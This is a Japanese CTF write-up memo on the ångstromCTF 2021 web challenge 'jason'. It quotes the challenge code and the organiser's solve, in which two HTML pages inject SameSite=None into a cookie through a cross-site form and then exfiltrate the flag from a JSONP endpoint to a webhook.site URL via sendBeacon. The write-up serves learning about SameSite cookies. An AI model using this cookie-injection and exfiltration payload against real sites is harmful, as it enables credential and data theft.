はじめに
作問者のwriteupを見て、備忘録・メモとして残してます。writeupが見たい方は本家のをどうぞ。
ångstromCTF 2021 solve scripts · GitHub
jason (web)
問題コード一部
const puppeteer = require('puppeteer') const fs = require('fs') async function visit(url) { const browser = await puppeteer.launch({ args: ['--no-sandbox'] }) var page = await browser.newPage() await page.goto(process.env.URL) await page.waitForSelector('input[value="CLEAR"]') for (let i = 0; i < process.env.PASSCODE.length; i++) { await Promise.all([ page.waitForNavigation(), page.click(`input[value="${process.env.PASSCODE[i]}"]`) ]) } await page.goto(url, { waitUntil: 'networkidle2' }) await page.close() await browser.close() } module.exports = { visit }
app.post('/passcode', function (req, res) { if (req.body.passcode === 'CLEAR') res.append('Set-Cookie', 'passcode=') else res.append('Set-Cookie', `passcode=${(req.cookies.passcode || '')+req.body.passcode}`) return res.redirect('/') }) app.post('/visit', async function (req, res) { if (req.body.site.startsWith('http')) try {await jason.visit(req.body.site) } catch (e) {console.log(e)} return res.redirect('/') }) app.get('/flags', sameOrigin, function (req, res) { if (req.cookies.passcode !== process.env.PASSCODE) return res.sendStatus(403) res.jsonp({category: 'flags', items: [process.env.FLAG]}) })
トップの数字を入力するとcookieにpasscodeとして値が登録されていく。adminに踏ませたいサイトを入力フォームから指定できる。jsonpを使うところまではわかったんですが、cookieがクロスドメインなアクセスだと付与されないので、ただ単にfetchしただけではだめでした。
cookieが付与される様子。
POST /passcode HTTP/1.1 Host: jason.2021.chall.actf.co Origin: https://jason.2021.chall.actf.co ...snip... passcode=1 HTTP/1.1 302 Found Location: / Set-Cookie: passcode=1 ...snip...
writeup
引用元;ångstromCTF 2021 solve scripts · GitHub
# jason_1.html <script> function load (data) { navigator.sendBeacon('https://webhook.site/6c038598-9475-4805-8bbb-36ffef233c88', data.items[0]) } if (!localStorage.done) { w = window.open('jason_2.html') setInterval(function () { try { w.location.href } catch (e) { localStorage.done = true; location.reload() } }, 10) } </script> <script referrerpolicy="no-referrer" src="https://jason.2021.chall.actf.co/flags?callback=load"></script>
# jason_2.html <form action="https://jason.2021.chall.actf.co/passcode" method="post" id="form"> <input type="hidden" name="passcode" value="; SameSite=None; Secure"> </form> <script>form.submit()</script>
次のコンテンツを自サーバで公開して、adminにふませる。/passcodeへのアクセスで付与されるcookieは特に属性が指定されていないのでSameSite=Laxが指定されます。これは、トップレベルナビゲーションでのアクセスでは、クロスサイトなドメインへのcookie送信が可能な状況にあるようです。
アドレスバーに表示されているURLの変更が伴う遷移のことです(リクエストを送信したら、送信先のページに画面が遷移する場合)
引用:HTTP クッキーをより安全にする SameSite 属性について (Same-site Cookies) – ラボラジアン Cookie の性質を利用した攻撃と Same Site Cookie の効果 | blog.jxck.io
Popup Windowなどはトップレベルナビゲーションとなると書いてありますが、恐らくjason_2.htmlのPOSTでそのwindow.open('jason_2.html')で開いたページが遷移するので、上記の解説を鵜呑みにして良いのであれば、このPOSTがトップレベルナビゲーションとなるのでしょう(多分)
肝
問題の肝は、/passcodeにPOSTしたデータがそのままcookieの末尾に付与される点。SameSite=None; Secureとすることで、クロスオリジンなリクエストでもcookieが付与されるようになります。つまり、jason_1.htmlからのfetchでもcookieが付与されるようになるので、/flagへのリクエストでフラグが返されてきます。あとはjsonpで自分のたてているサーバなどにあたいを送って終了のようです。
SameSite=None; Secureに関してはこちら。
SameSite Frequently Asked Questions (FAQ) - The Chromium Projects
今回上手くまとめられなかった